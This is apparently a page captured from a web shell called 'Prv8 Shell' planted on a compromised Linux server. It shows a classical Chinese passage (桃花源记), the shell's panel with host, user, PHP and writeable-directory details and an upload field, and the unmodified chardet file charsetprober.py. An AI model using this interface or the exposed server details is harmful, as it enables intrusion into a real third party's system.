晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/lib/python3.6/site-packages/chardet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python3.6/site-packages/chardet/charsetprober.py
######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

import logging
import re

from .enums import ProbingState


class CharSetProber(object):

    SHORTCUT_THRESHOLD = 0.95

    def __init__(self, lang_filter=None):
        self._state = None
        self.lang_filter = lang_filter
        self.logger = logging.getLogger(__name__)

    def reset(self):
        self._state = ProbingState.DETECTING

    @property
    def charset_name(self):
        return None

    def feed(self, buf):
        pass

    @property
    def state(self):
        return self._state

    def get_confidence(self):
        return 0.0

    @staticmethod
    def filter_high_byte_only(buf):
        buf = re.sub(b'([\x00-\x7F])+', b' ', buf)
        return buf

    @staticmethod
    def filter_international_words(buf):
        """
        We define three types of bytes:
        alphabet: english alphabets [a-zA-Z]
        international: international characters [\x80-\xFF]
        marker: everything else [^a-zA-Z\x80-\xFF]

        The input buffer can be thought to contain a series of words delimited
        by markers. This function works to filter all words that contain at
        least one international character. All contiguous sequences of markers
        are replaced by a single space ascii character.

        This filter applies to all scripts which do not use English characters.
        """
        filtered = bytearray()

        # This regex expression filters out only words that have at-least one
        # international character. The word may include one marker character at
        # the end.
        words = re.findall(b'[a-zA-Z]*[\x80-\xFF]+[a-zA-Z]*[^a-zA-Z\x80-\xFF]?',
                           buf)

        for word in words:
            filtered.extend(word[:-1])

            # If the last character in the word is a marker, replace it with a
            # space as markers shouldn't affect our analysis (they are used
            # similarly across all languages and may thus have similar
            # frequencies).
            last_char = word[-1:]
            if not last_char.isalpha() and last_char < b'\x80':
                last_char = b' '
            filtered.extend(last_char)

        return filtered

    @staticmethod
    def filter_with_english_letters(buf):
        """
        Returns a copy of ``buf`` that retains only the sequences of English
        alphabet and high byte characters that are not between <> characters.
        Also retains English alphabet and high byte characters immediately
        before occurrences of >.

        This filter can be applied to all scripts which contain both English
        characters and extended ASCII characters, but is currently only used by
        ``Latin1Prober``.
        """
        filtered = bytearray()
        in_tag = False
        prev = 0

        for curr in range(len(buf)):
            # Slice here to get bytes instead of an int with Python 3
            buf_char = buf[curr:curr + 1]
            # Check if we're coming out of or entering an HTML tag
            if buf_char == b'>':
                in_tag = False
            elif buf_char == b'<':
                in_tag = True

            # If current character is not extended-ASCII and not alphabetic...
            if buf_char < b'\x80' and not buf_char.isalpha():
                # ...and we're not in a tag
                if curr > prev and not in_tag:
                    # Keep everything after last non-extended-ASCII,
                    # non-alphabetic character
                    filtered.extend(buf[prev:curr])
                    # Output a space to delimit stretch we kept
                    filtered.extend(b' ')
                prev = curr + 1

        # If we're not in a tag...
        if not in_tag:
            # Keep everything after last non-extended-ASCII, non-alphabetic
            # character
            filtered.extend(buf[prev:])

        return filtered

haha - 2025